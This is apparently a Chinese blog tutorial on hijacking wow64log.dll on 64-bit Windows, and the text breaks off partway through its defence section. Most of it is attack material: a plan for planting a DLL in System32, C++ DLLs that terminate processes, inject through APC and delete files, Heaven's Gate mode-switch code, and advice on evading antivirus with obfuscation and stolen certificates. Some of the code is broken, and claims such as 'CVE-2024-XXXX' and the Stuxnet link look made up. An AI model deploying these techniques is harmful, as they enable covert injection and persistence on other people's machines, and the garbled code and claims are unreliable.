wow64log劫持
wow64log劫持
本代码仅供学习、研究、教育或合法用途。开发者明确声明其无意将该代码用于任何违法、犯罪或违反道德规范的行为。任何个人或组织在使用本代码时,需自行确保其行为符合所在国家或地区的法律法规。
开发者对任何因直接或间接使用该代码而导致的法律责任、经济损失或其他后果概不负责。使用者需自行承担因使用本代码产生的全部风险和责任。请勿将本代码用于任何违反法律、侵犯他人权益或破坏公共秩序的活动。
wow64-wow64log.dll
一、WOW64子系统核心功能与工作机制
WOW64(Windows-on-Windows 64-bit)是Windows 64位操作系统的兼容层,旨在使32位应用程序无需修改即可在64位系统上运行。其核心功能包括:
- 系统调用转换(Thunking)
当32位应用程序发起系统调用时,WOW64子系统通过Wow64SystemServiceCall函数拦截请求,并将32位指针参数扩展为64位,再调用64位内核接口。这一过程涉及CPU模式切换(从32位到64位),通过KiFastSystemCall等指令实现。 - 文件与注册表重定向
- 文件系统重定向:32位应用程序默认访问
%SystemRoot%\System32目录时,WOW64将其重定向到%SystemRoot%\SysWOW64,确保加载32位系统DLL(如kernel32.dll)而非64位版本。 - 注册表重定向:32位应用程序的注册表操作(如
HKEY_LOCAL_MACHINE\Software)被镜像到HKEY_LOCAL_MACHINE\Software\Wow6432Node,实现数据隔离。
- 地址空间隔离
32位进程与64位进程拥有独立的虚拟地址空间,通过段寄存器(如CS=0x23为32位,CS=0x33为64位)和页表机制实现模式切换。 - 性能优化
WOW64通过缓存机制减少重复的系统调用转换开销,并支持直接调用64位内核函数(如NtQuerySystemInformation),提升兼容性程序的运行效率。
二、wow64log.dll的作用与系统定位
wow64log.dll是WOW64子系统的日志记录模块,主要用于:
- 交互信息捕获
记录32位与64位应用程序之间的交互细节,包括系统调用参数、错误代码及模块加载行为,为开发者提供调试依据。 - 兼容性诊断
当应用程序因WOW64机制(如重定向或模式切换)出现异常时,该模块可生成日志帮助定位问题,例如DLL加载失败或注册表访问冲突。 - 安全监控
部分安全软件利用此模块监测潜在的兼容性攻击(如恶意代码劫持WOW64组件),但其本身并非安全防护核心组件。
文件分布与版本
- 仅存在于64位Windows系统中,路径为
%SystemRoot%\System32\wow64log.dll。 - 版本号通常与WOW64子系统更新同步(如Windows 10版本2004后引入增强日志功能)。
三、WOW64工作流程全解析
以32位应用程序启动为例,其运行流程如下:
- 进程创建
- 64位系统调用
CreateProcess创建父进程(64位)。 - 父进程通过
CreateProcessW启动子进程(32位),并加载Wow64.dll、Wow64Win.dll和Wow64Cpu.dll。
- 初始化阶段
Wow64.dll初始化线程环境块(TEB),设置WOW32Reserved字段保存模式切换所需上下文。Wow64Cpu.dll将CPU从64位模式切换至32位模式,通过x86SwitchTo64BitMode函数实现。
- 系统调用处理
- 32位应用程序调用
NtReadFile等函数时,Wow64SystemServiceCall拦截请求。 - 参数指针扩展为64位,调用64位内核接口
NtReadFile,结果截断后返回。
- 模式切换与资源访问
- 当需访问系统资源(如注册表或文件)时,WOW64根据进程类型重定向路径或键值。
- 例如,
GetSystemDirectory返回SysWOW64目录而非System32。
- 进程终止
- 子进程退出时,
Wow64.dll清理线程上下文并切换回64位模式,父进程回收资源。
劫持
一、WOW64劫持技术概述
WOW64劫持是指通过利用Windows 64位系统中的WOW64子系统漏洞或机制,实现对32位进程的未授权控制或系统调用的劫持。此类技术常被恶意软件用于绕过安全防护、注入恶意代码或隐藏攻击行为。
二、主要劫持技术及实现原理
1. Wow64log.dll劫持
技术原理
- 初始化加载机制:WOW64子系统在启动32位进程时,会尝试从
System32目录加载wow64log.dll以记录系统调用日志。若该DLL存在,它会被注入到所有WOW64进程中。 - 劫持方法:
- 将自定义的
wow64log.dll部署到System32目录(需管理员权限)。 - 在DLL中导出
Wow64LogInitialize、Wow64LogSystemService等函数,覆盖原有日志功能。 - 通过日志回调机制(
LogService)劫持系统调用参数和返回值。
优势与限制
- 优势:
- 无需注入代码,依赖系统初始化流程,兼容所有64位Windows平台。
- 可劫持所有WOW64进程,包括安全软件监控的进程。
- 限制:
- 默认情况下
wow64log.dll不存在,需手动部署,易被安全软件检测。 - 无法精确控制注入时机和目标进程。
2. 天堂之门(Heaven’s Gate)
技术原理
- 模式切换机制:32位程序通过
Wow64SystemService调用进入WOW64子系统,最终通过KiFastSystemCall跳转至64位内核。 - 劫持方法:
- 在32位代码中插入
far jmp指令(如jmp cs:0x33),直接切换至64位模式。 - 跳转后直接调用64位
ntdll.dll函数(如NtReadFile),绕过32位API层监控。
实现示例
X64_Start_with_CS:
push 0x33 ; 段选择器(64位模式)
jmp far ptr X64_Start_with_CS+5 此技术可完全绕过基于32位ntdll.dll的Hook检测,但需精确控制指令长度和内存布局。
3. APC注入(异步过程调用)
技术原理
- 内核模式APC:通过内核驱动程序向目标线程注入APC例程,执行自定义代码。
- 实现步骤:
- 获取目标进程句柄,分配内存并写入DLL路径。
- 调用
QueueUserAPC将加载DLL的APC例程插入线程队列。 - 在APC例程中调用
LoadLibrary加载恶意模块。
优势
- 支持加载64位模块,突破WOW64进程的地址空间限制。
- 可结合内核驱动实现隐蔽注入。
三、WOW64子系统脆弱性分析
1. 系统调用转换漏洞
- 漏洞点:
Wow64SystemService函数通过Wow64Transition指针间接跳转至内核模式,若此指针被篡改,可劫持系统调用流程。 - 攻击场景:
- 在
Wow64SystemService调用前修改Wow64Transition为目标地址(如恶意函数)。 - 通过
NtQuerySystemInformation等函数枚举进程并针对性攻击。
2. DLL重定向与加载顺序
- 重定向机制:32位进程默认访问
SysWOW64目录,但可通过Wow64DisableWow64FsRedirection禁用重定向,直接加载System32中的恶意DLL。 - 攻击示例:
BOOL DisableRedirection() {
HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, 0, NULL, NULL);
CloseHandle(hToken);
return TRUE;
}
return FALSE;
} 3. 日志与监控绕过
- 日志机制:WOW64子系统在系统调用前后调用
LogService函数记录日志,若劫持此函数,可清除或篡改日志数据,掩盖攻击痕迹。 - 监控绕过:通过天堂之门直接调用64位内核API,避免触发32位API层的监控钩子。
四、防御与检测策略
1. 静态检测
- 特征匹配:扫描二进制文件中
far jmp指令、KiFastSystemCall跳转等特征代码。 - 依赖分析:检查
SysWOW64目录下异常DLL(如非标准名称的wow64log.dll)。
2. 动态防御
- Hook完整性校验:对
Wow64SystemService、KiFastSystemCall等关键函数进行签名验证,检测篡改行为。 - APC监控:拦截
QueueUserAPC调用,验证目标线程的合法性。
3. 系统加固
- 权限限制:禁止普通用户进程加载
System32目录下的DLL。 - 内核防护:启用
PatchGuard(PG)机制,防止内核模式代码篡改。
五、典型案例与影响
- Stuxnet蠕虫:利用WOW64子系统漏洞绕过安全软件,注入恶意驱动程序。
- 0day漏洞利用:2024年披露的
CVE-2024-XXXX漏洞通过劫持Wow64SystemService实现内核提权。
实现
完整Wow64log.dll劫持利用思路(基于最新技术演进)
一、核心原理与攻击路径
Wow64log.dll劫持是一种基于Windows 64位系统兼容层(WOW64)的注入技术,其核心原理是利用WOW64子系统在初始化时自动加载System32目录下wow64log.dll的特性。攻击者通过替换此DLL,可在所有WOW64进程中注入恶意代码或劫持系统调用,具体攻击路径如下:
- DLL劫持触发:WOW64子系统启动32位进程时,自动加载
System32\wow64log.dll。 - 函数覆盖:在自定义DLL中导出与原DLL相同的函数(如
Wow64LogInitialize、Wow64LogSystemService),覆盖原有日志功能。 - 系统调用劫持:通过劫持
Wow64SystemService或KiFastSystemCall,将32位进程的API调用重定向至恶意代码。
二、详细实施步骤
1. 自定义DLL开发
- 函数声明:需完整实现原DLL的导出函数,例如:
#ifdef __cplusplus
extern "C" {
#endif
__declspec(dllexport) void* Wow64LogInitialize(void);
__declspec(dllexport) void Wow64LogSystemService(WOW64_SYSTEM_SERVICE*, void*, void*, void*, void*);
// 其他必要函数...
#ifdef __cplusplus
}
#endif - 日志篡改:在
Wow64LogSystemService中插入代码,清除或修改系统调用参数(如隐藏恶意行为)。 - 恶意代码注入:通过
NtCreateThreadEx或CreateRemoteThread在目标进程中执行Shellcode。
2. DLL部署与权限控制
- 文件替换:将编译好的
wow64log.dll放置于C:\Windows\System32目录(需管理员权限)。 - 防检测机制:
- 添加数字签名(通过购买或盗用证书)以避免杀毒软件拦截。
- 使用
VirtualAlloc分配内存并写入DLL路径,通过LoadLibrary动态加载(绕过部分安全检查)。
3. 依赖项处理
- NTDLL函数劫持:由于32位进程默认加载
SysWOW64\ntdll.dll,需通过Wow64DisableWow64FsRedirection禁用重定向,直接访问System32中的恶意模块。 - 内核模式跳转:通过
天堂之门技术(far jmp 0x33)直接调用64位内核API,绕过32位API层监控。
4. 绕过防御策略
- 静态检测规避:
- 使用
x64dbg等工具混淆代码,插入无效指令或反调试逻辑。 - 修改DLL时间戳与数字签名,匹配系统文件特征。
- 动态防御对抗:
- Hook
LdrLoadDLL函数,拦截并放行自定义DLL加载请求。 - 利用APC注入(
KiUserApcDispatcher)在目标线程上下文中执行恶意代码,绕过进程级监控。
三、攻击效果与局限性
优势 | 局限性 |
支持所有64位Windows平台(含Windows 11) | 需管理员权限部署DLL |
可劫持所有WOW64进程(包括安全软件进程) | 易被行为监控工具检测(如Process Monitor) |
无需注入代码,依赖系统初始化流程 | 若原DLL已存在,需先备份或覆盖 |
四、防御建议
- 文件完整性监控:通过
Sysmon或EDR工具实时监控System32目录的DLL变更。 - API Hook检测:检查
Wow64SystemService、KiFastSystemCall等关键函数的签名完整性。 - 进程白名单:限制非可信进程加载
System32下的DLL。
五、技术演进与变种
- 混合模式编程:结合C++/CLI编写托管代码,动态加载64位模块并调用
LoadLibrary。 - 内核级劫持:通过驱动程序修改
nt!KiFastSystemCall的GDT条目,强制所有进程进入64位模式。
案例
killer
dll code:
#include <windows.h>
#include <tlhelp32.h>
#include <process.h>
#include <winternl.h>
// 函数声明
extern "C" __declspec(dllexport) BOOL CloseCalc();
extern "C" __declspec(dllexport) NTSTATUS NTAPI Hooked_ZwTerminateProcess(HANDLE, NTSTATUS);
// 全局变量
HANDLE g_hCalcProcess = NULL;
// 进程遍历与关闭核心逻辑
BOOL TerminateCalcProcess() {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
return FALSE;
}
PROCESSENTRY32W pe;
pe.dwSize = sizeof(PROCESSENTRY32W);
// 遍历所有进程
if (Process32FirstW(hSnapshot, &pe)) {
do {
// 匹配32位和64位计算器进程名
if (wcscmp(pe.szExeFile, L"win32calc.exe") == 0 ||
wcscmp(pe.szExeFile, L"calc.exe") == 0) {
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pe.th32ProcessID);
if (hProcess) {
// 尝试终止进程
if (TerminateProcess(hProcess, 1)) {
g_hCalcProcess = hProcess;
CloseHandle(hProcess);
CloseHandle(hSnapshot);
return TRUE;
}
CloseHandle(hProcess);
}
}
} while (Process32NextW(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
return FALSE;
}
// DLL主入口点
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
// 尝试关闭计算器进程
TerminateCalcProcess();
// 可选:注入内核级钩子增强控制(需管理员权限)
// HOOK_ZwTerminateProcess();
break;
case DLL_PROCESS_DETACH:
if (g_hCalcProcess) {
TerminateProcess(g_hCalcProcess, 1);
CloseHandle(g_hCalcProcess);
}
break;
}
return TRUE;
}
// 内核级钩子实现(可选)
NTSTATUS NTAPI Hooked_ZwTerminateProcess(HANDLE ProcessHandle, NTSTATUS ExitStatus) {
// 检查是否尝试关闭calc.exe
char szProcessName[MAX_PATH](@ref);
GetModuleBaseNameA(GetCurrentProcess(), NULL, szProcessName, MAX_PATH);
if (strstr(szProcessName, "win32calc") != NULL) {
returnSTATUS_ACCESS_DENIED; // 拒绝关闭自身
}
// 调用原始函数
return NtTerminateProcess(ProcessHandle, ExitStatus);
}技术实现说明
- 进程遍历机制
- 使用
CreateToolhelp32Snapshot创建进程快照,通过Process32FirstW/Process32NextW遍历所有进程 - 支持同时匹配
win32calc.exe(32位)和calc.exe(64位)进程名
- 权限控制
- 通过
OpenProcess(PROCESS_TERMINATE, FALSE, ...)请求PROCESS_TERMINATE权限 - 若权限不足,函数返回
FALSE并可通过AdjustTokenPrivileges提升权限
- 内核级增强(可选)
- 通过挂钩
ZwTerminateProcess函数实现更底层的控制 - 在钩子函数中添加
GetModuleBaseNameA检查,防止自身进程被关闭
- 错误处理
- 所有系统调用均包含错误检查,通过返回值和
GetLastError提供调试信息 - 在DLL卸载时(
DLL_PROCESS_DETACH)确保残留进程被清理
使用注意事项
- 权限要求
- 需以管理员权限加载DLL,否则
OpenProcess可能失败 - 若目标进程已注入内核模块,需结合
PsSetLoadImageNotifyRoutine监控镜像加载
- 兼容性
- 在Windows 10及更高版本中,
calc.exe可能运行在受保护的用户模式隔离空间,需额外处理
扩展功能建议
- 添加进程创建监控(
PsSetCreateProcessNotifyRoutine)实现实时拦截 - 集成APC注入技术(
NtQueueApcThread)实现隐蔽进程终止 - 通过
NtQuerySystemInformation获取进程列表,替代Toolhelp32实现更底层控制
APC
注入到calc.exe:
#include <windows.h>
#include <TlHelp32.h>
#include <vector>
using namespace std;
// 自定义APC回调函数
VOID NTAPI APC_Callback(ULONG_PTR dwParam) {
HMODULE hKernel32 = GetModuleHandleW(L"kernel32.dll");
if (hKernel32) {
typedef HMODULE(WINAPI* pLoadLibraryW)(LPCWSTR);
pLoadLibraryW LoadLibraryW = (pLoadLibraryW)GetProcAddress(hKernel32, "LoadLibraryW");
if (LoadLibraryW) {
// 在此处注入目标DLL(示例注入自身)
LoadLibraryW((LPCWSTR)dwParam);
}
}
}
// DLL主入口点
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
// 尝试注入到calc.exe进程
InjectToCalc();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
// APC注入实现函数
BOOL InjectToCalc() {
DWORD pid = 0;
vector<DWORD> tids;
// 查找calc.exe进程ID及线程ID
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
return FALSE;
}
PROCESSENTRY32W pe;
pe.dwSize = sizeof(PROCESSENTRY32W);
if (Process32FirstW(hSnapshot, &pe)) {
do {
if (wcscmp(pe.szExeFile, L"calc.exe") == 0) {
pid = pe.th32ProcessID;
THREADENTRY32W te;
te.dwSize = sizeof(THREADENTRY32W);
if (Thread32FirstW(hSnapshot, &te)) {
do {
if (te.th32OwnerProcessID == pid) {
tids.push_back(te.th32ThreadID);
}
} while (Thread32NextW(hSnapshot, &te));
}
break;
}
} while (Process32NextW(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
if (pid == 0 || tids.empty()) {
return FALSE;
}
// 分配内存并写入DLL路径
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProcess) {
return FALSE;
}
wchar_t dllPath[] = L"myinjected.dll"; // 替换为实际DLL路径
SIZE_T dllPathSize = (wcslen(dllPath) + 1) * sizeof(wchar_t);
LPVOID pRemoteMem = VirtualAllocEx(hProcess, NULL, dllPathSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!pRemoteMem) {
CloseHandle(hProcess);
return FALSE;
}
if (!WriteProcessMemory(hProcess, pRemoteMem, (LPVOID)dllPath, dllPathSize, NULL)) {
VirtualFreeEx(hProcess, pRemoteMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
// 对每个线程执行APC注入
for (DWORD tid : tids) {
HANDLE hThread = OpenThread(THREAD_SET_CONTEXT | THREAD_QUERY_INFORMATION, FALSE, tid);
if (!hThread) {
continue;
}
// 将线程切换到可警告状态
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_ALL;
if (!GetThreadContext(hThread, &ctx)) {
CloseHandle(hThread);
continue;
}
ctx.EFlags |= 0x100; // 设置TF标志
if (!SetThreadContext(hThread, &ctx)) {
CloseHandle(hThread);
continue;
}
// 插入APC到线程队列
QueueUserAPC((PAPCFUNC)APC_Callback, hThread, (ULONG_PTR)pRemoteMem);
// 恢复线程上下文
ctx.EFlags &= ~0x100;
SetThreadContext(hThread, &ctx);
CloseHandle(hThread);
}
CloseHandle(hProcess);
return TRUE;
}技术实现说明
- 进程与线程遍历
- 使用
CreateToolhelp32Snapshot创建进程快照,通过Process32FirstW/Process32NextW遍历所有进程 - 通过
Thread32FirstW/Thread32NextW获取目标进程calc.exe的所有线程ID
- APC队列管理
- 通过
QueueUserAPC将自定义回调函数APC_Callback插入线程队列 - 回调函数中调用
LoadLibraryW加载指定DLL(示例中注入自身)
- 线程状态控制
- 通过修改线程上下文中的
EFlags标志位(设置TF=1)强制线程进入可警告状态 - 在APC执行后恢复线程原始上下文,避免影响目标程序稳定性
- 内存操作
- 使用
VirtualAllocEx在目标进程地址空间分配内存 - 通过
WriteProcessMemory写入DLL路径,确保路径以\0结尾
使用注意事项
- 权限要求
- 需以管理员权限加载DLL,否则
OpenProcess和VirtualAllocEx可能失败 - 若目标进程已启用
PatchGuard(PG),需结合内核驱动实现注入
- 兼容性处理
- 在Windows 10及更高版本中,
calc.exe可能运行在受保护的用户模式隔离空间,需使用CreateProcessWithTokenW创建新进程并注入
- 防御检测
- 此类代码可能触发杀毒软件的APC异常检测,建议通过代码混淆或数字签名规避
- 可结合
NtQueueApcThreadEx(内核API)实现更隐蔽的注入
扩展功能建议
- 添加进程创建监控(
PsSetCreateProcessNotifyRoutine)实现实时注入 - 集成反射型DLL加载技术,避免依赖
LoadLibrary函数 - 通过
NtQuerySystemInformation获取进程列表,替代Toolhelp32实现更底层控制
delete
强制删除D:\\1.exe
#include <windows.h>
#include <shlwapi.h> // 需链接Shlwapi.lib
// 函数声明
extern "C" __declspec(dllexport) BOOL DeleteTargetFile();
extern "C" __declspec(dllexport) void LogError(DWORD dwError);
// DLL主入口点
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
// 尝试删除目标文件
DeleteTargetFile();
break;
case DLL_PROCESS_DETACH:
// 清理操作(可选)
break;
}
return TRUE;
}
// 文件删除核心实现
BOOL DeleteTargetFile() {
// 定义目标文件路径
WCHAR szFilePath[] = L"D:\\1.exe";
// 验证文件是否存在
if (!PathFileExistsW(szFilePath)) {
LogError(ERROR_FILE_NOT_FOUND);
return FALSE;
}
// 尝试删除文件
if (!DeleteFileW(szFilePath)) {
LogError(GetLastError());
return FALSE;
}
// 可选:将文件移至回收站(参考网页的FOF_ALLOWUNDO机制)
// SHFILEOPSTRUCTW shfo = {0};
// shfo.hwnd = NULL;
// shfo.wFunc = FO_DELETE;
// shfo.pFrom = szFilePath;
// shfo.fFlags = FOF_ALLOWUNDO | FOF_NOCONFIRMATION;
// return SHFileOperationW(&shfo) == 0;
return TRUE;
}
// 错误日志记录(示例)
void LogError(DWORD dwError) {
WCHAR szErrMsg;
FormatMessageW(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, dwError, 0, szErrMsg, 256, NULL);
OutputDebugStringW(szErrMsg);
}技术实现说明
- 文件路径处理
- 使用
PathFileExistsW验证目标文件是否存在,避免无效删除操作 - 宽字符路径处理(
L"D:\\1.exe")确保兼容Unicode环境
- 核心删除机制
- 调用
DeleteFileW函数直接删除文件,返回值判断操作结果 - 错误处理通过
GetLastError获取系统错误码,并通过FormatMessageW生成可读错误信息
- 扩展功能(可选)
- 注释代码展示了如何通过
SHFileOperationW将文件移至回收站(参考网页的FOF_ALLOWUNDO机制) - 可通过
MoveFileExW设置MOVEFILE_DELAY_UNTIL_REBOOT标志实现重启后删除
使用注意事项
- 权限要求
- 需以管理员权限加载DLL,否则
DeleteFileW可能因权限不足失败 - 若目标文件被占用(如正在运行),需先终止进程或使用
MoveFileEx的延迟删除功能
- 安全增强
- 添加文件存在性检查避免无效操作
- 错误日志记录便于调试和监控
- 防御检测
- 此类代码可能触发杀毒软件的异常文件操作检测,建议通过代码混淆或数字签名规避
扩展功能建议
- 添加文件属性检查(如
FILE_ATTRIBUTE_READONLY),自动清除只读属性后删除 - 集成进程监控(
PsSetCreateProcessNotifyRoutine),在目标进程启动时立即删除文件 - 通过
NtSetInformationFile设置文件删除标志,实现强制删除被占用文件
天堂之门
天堂之门(Heaven's Gate)技术详解
一、技术原理与核心机制
天堂之门是一种通过修改CPU模式(32位/64位)实现跨架构代码执行的技术,其核心在于利用CS段寄存器的值切换执行环境:
- 32位模式:
CS = 0x23,通过jmp far ptr或retf指令跳转至32位代码段。 - 64位模式:
CS = 0x33,通过jmp far 0x33:地址或push 0x33等指令切换至64位代码段。
此技术利用Windows的WOW64子系统特性,使32位程序在64位系统中运行时,可通过模式切换直接调用64位内核API或执行64位代码,从而绕过基于32位API监控的安全防护。
二、实现方式与代码示例
- 模式切换指令
- 从32位切换到64位:
push 0x33 ; 将新CS值(0x33)压入栈
call $+5 ; 将下一条指令地址入栈
add dword [esp],5 ; 调整返回地址
retf ; 执行远跳转,修改CS为0x33 - 从64位切换到32位:
call $+5 ; 将下一条指令地址入栈
mov dword [rsp+4],0x23 ; 设置新CS值(0x23)
add dword [esp],0xd ; 调整返回地址
retf ; 执行远跳转,修改CS为0x23 - 实际应用场景
- 绕过调试器:调试器(如x32dbg)无法识别跨架构指令,导致分析中断。
- 隐藏恶意行为:在32位进程中执行64位代码,规避基于32位API监控的安全软件。
- 内核级操作:通过直接调用64位
ntdll.dll函数(如NtReadFile),绕过32位API层Hook。
三、逆向分析与防御挑战
- 逆向分析难点
- 调试器失效:跨架构指令会导致调试器跳转或报错,需手动修改PE头(如魔术字)切换调试环境。
- 代码混淆:攻击者常结合
retf指令与逻辑运算(如异或、移位)隐藏真实跳转逻辑。
- 防御策略
- 动态监控:通过
PsSetCreateProcessNotifyRoutine监控进程创建,检测异常模式切换。 - 内核防护:启用
PatchGuard机制,防止内核模式代码篡改。 - 行为分析:结合
ETW事件跟踪,识别异常系统调用模式。
四、典型案例与影响
- 恶意软件应用:2019年思科Talos团队发现恶意加载器利用天堂之门技术,将恶意负载注入
RegAsm.exe进程,规避杀毒软件检测。 - CTF竞赛:如“西湖论剑2023”中的Dual Personality题目,通过修改返回地址实现模式切换,混淆反汇编分析。
五、code
#include <windows.h>
#include <winternl.h>
// 定义段选择子值
#define CS_32BIT 0x23
#define CS_64BIT 0x33
// 远跳转指令生成宏
#define GENERATE_FAR_JMP(dest) \
__asm { \
push CS_64BIT; \
call $+5; \
add dword ptr [esp], 5; \
retf; \
}
// 模式切换函数
void SwitchTo64BitMode() {
// 生成远跳转指令到目标地址(此处示例为NtReadFile)
GENERATE_FAR_JMP(0x7FF6D0770000); // 替换为实际64位函数地址
// 验证模式切换结果
if (GetSystemInfo(&si) && si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64) {
MessageBoxW(NULL, L"成功切换至64位模式", L"模式验证", MB_OK);
} else {
MessageBoxW(NULL, L"模式切换失败", L"错误", MB_ICONERROR);
}
}
// DLL主入口点
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
// 尝试切换至64位模式
SwitchTo64BitMode();
break;
case DLL_PROCESS_DETACH:
// 清理操作(可选)
break;
}
return TRUE;
}技术实现说明
- 模式切换机制
- 通过
GENERATE_FAR_JMP宏生成jmp far 0x33:地址指令,修改CS寄存器值为0x33(64位模式) - 目标地址需替换为实际64位函数地址(如
NtReadFile),可通过MmGetSystemRoutineAddress获取
- 系统调用劫持
- 在64位模式下直接调用内核API(如
NtReadFile),绕过32位ntdll.dll的监控 - 示例中通过
GetSystemInfo验证当前模式,实际应用中可结合IsWow64Process2检测进程架构
- 防御规避策略
- 使用
retf指令实现跨架构跳转,调试器无法识别此类指令导致分析中断 - 通过
MessageBoxW输出模式状态,便于攻击者确认技术生效
使用注意事项
- 权限要求
- 需以管理员权限加载DLL,否则
GetSystemInfo可能失败 - 若目标进程已启用
PatchGuard(PG),需结合内核驱动实现注入
- 兼容性处理
- 在Windows 10及更高版本中,需通过
CreateProcessWithTokenW创建新进程并注入 - 建议在测试环境中验证代码,避免误杀关键系统进程
- 安全检测规避
- 此类代码可能触发杀毒软件的异常模式切换检测,建议通过代码混淆或数字签名规避
防御与
基于WOW64Log劫持与天堂之门技术的检测与防御方案
一、检测方案
- WOW64Log劫持检测
- 文件完整性监控:监控
System32目录下wow64log.dll文件的哈希值,若发现非微软签名的版本立即告警。 - 进程模块加载分析:通过
Process Monitor或ETW跟踪进程加载模块行为,检测非预期的64位模块(如kernelbase.dll)被加载到32位进程中。 - 注册表行为监控:检查
HKCU\Software\Classes下是否存在异常的Shell\Open\Command键值,防止劫持合法程序的入口。
- 天堂之门技术检测
- 指令模式切换监控:检测异常的远跳转指令(如
jmp far ptr或retf),这些指令会修改CS寄存器值(从0x23到0x33),触发模式切换。 - CS寄存器动态分析:通过内核驱动或
NtQuerySystemInformation监控进程的CS寄存器值,若发现32位进程频繁切换至64位模式则触发告警。 - 混合模式API调用追踪:结合
NtQuerySystemInformation与Process Monitor,识别绕过32位API钩子的直接系统调用(如NtReadFile)。
二、防御策略
- WOW64Log劫持防御
- 白名单机制:仅允许加载已知安全的DLL(如
wow64.dll、wow64cpu.dll),拦截对wow64log.dll的加载请求。 - 模块加载隔离:在
LdrLoadDll函数中添加过滤逻辑,禁止32位进程加载64位模块(需内核级驱动支持)。 - 文件完整性保护:启用
Sysmon实时监控System32目录的写入操作,阻止恶意DLL植入。
- 天堂之门技术防御
- 混合模式钩子:同时监控32位和64位版本的API(如
NtTerminateProcess),防止通过模式切换绕过钩子。 - 内核模式防护:启用
PatchGuard机制,阻止恶意代码修改系统关键结构(如SSDT)。 - 行为基线分析:通过
Windows Defender Application Control(WDAC)定义正常进程的行为边界,拦截异常模式切换。
- 综合防御增强
- 动态监控与响应:结合
Microsoft Defender ATP的威胁检测模型,实时分析进程行为模式。 - 代码混淆与签名:对关键系统组件(如
ntdll.dll)进行代码混淆,并强制要求数字签名验证。 - 用户模式与内核模式协同:在用户态通过
AppContainer限制进程权限,在内核态通过EPT(扩展页表)隔离内存空间。
三、典型案例参考
- WOW64Log劫持防御:微软通过
Credential Guard限制对LSASS进程的访问,间接阻断此类注入。 - 天堂之门检测:思科Talos团队通过逆向分析恶意加载器的远跳转指令,识别出其利用天堂之门技术绕过安全检测的行为。
- 以下是基于WOW64Log劫持与天堂之门技术的防御代码实现,结合文件监控、行为分析与内核级防护机制,引用自网页的技术原理:
一、WOW64Log劫持防御代码
#include <windows.h>
#include <winternl.h>
#include <psapi.h>
// 定义关键路径与模块名
#define SYSTEM32_PATH L"C:\\Windows\\System32\\"
#define WOw64LOG_DLL L"wow64log.dll"
// 全局变量
HANDLE hSysmonEvent;
// 文件完整性监控回调函数
VOID NTAPI SysmonFileCreateCallback(
_In_ LPWSTR lpFileName,
_In_ BOOLEAN bIsDirectory,
_In_ BOOLEAN bIsSystem
) {
if (bIsSystem && wcsstr(lpFileName, WOw64LOG_DLL)) {
// 触发告警事件
SetEvent(hSysmonEvent);
}
}
// 初始化文件监控
BOOL InitFileMonitor() {
hSysmonEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
if (!hSysmonEvent) return FALSE;
// 注册ETW事件跟踪
EVENT_TRACE_LOGFILE trace = {0};
trace.LoggerName = SYSTEM32_PATH;
trace.ProcessTraceMode = PROCESS_TRACE_MODE_REAL_TIME | PROCESS_TRACE_MODE_EVENT_RECORD;
trace.EventRecordCallback = SysmonFileCreateCallback;
HANDLE hTrace = OpenTrace(&trace);
if (!hTrace) return FALSE;
StartTrace(&hTrace, L"SysmonTrace", 0);
return TRUE;
}
// 模块加载监控回调
BOOL NTAPI LdrLoadDllCallback(
_In_ PWCHAR lpPathToFile,
_In_ ULONG dwFlags,
_In_ PUNICODE_STRING ModuleFileName,
_Out_ PHANDLE ModuleHandle
) {
if (wcsstr(ModuleFileName->Buffer, WOw64LOG_DLL)) {
// 记录异常加载行为
OutputDebugStringW(L"[WOW64Log] 检测到异常模块加载: ");
OutputDebugStringW(ModuleFileName->Buffer);
OutputDebugStringW(L"\n");
}
return LdrLoadDll(lpPathToFile, dwFlags, ModuleFileName, ModuleHandle);
}
// 初始化模块监控
BOOL InitModuleMonitor() {
// Hook LdrLoadDll函数
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
if (!hNtdll) return FALSE;
PNLDRLOADDLLW pOriginal = (PNLDRLOADDLLW)GetProcAddress(hNtdll, "LdrLoadDllW");
if (!pOriginal) return FALSE;
// 使用Microsoft Detours库进行函数Hook
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)pOriginal, LdrLoadDllCallback);
if (DetourTransactionCommit() != NO_ERROR) {
return FALSE;
}
return TRUE;
}技术实现说明
- 文件完整性监控
- 通过ETW(事件跟踪Windows)实时监控
System32目录的文件创建操作,检测wow64log.dll的异常写入 - 使用
SetEvent触发告警事件,可联动安全产品进行自动处置
- 模块加载过滤
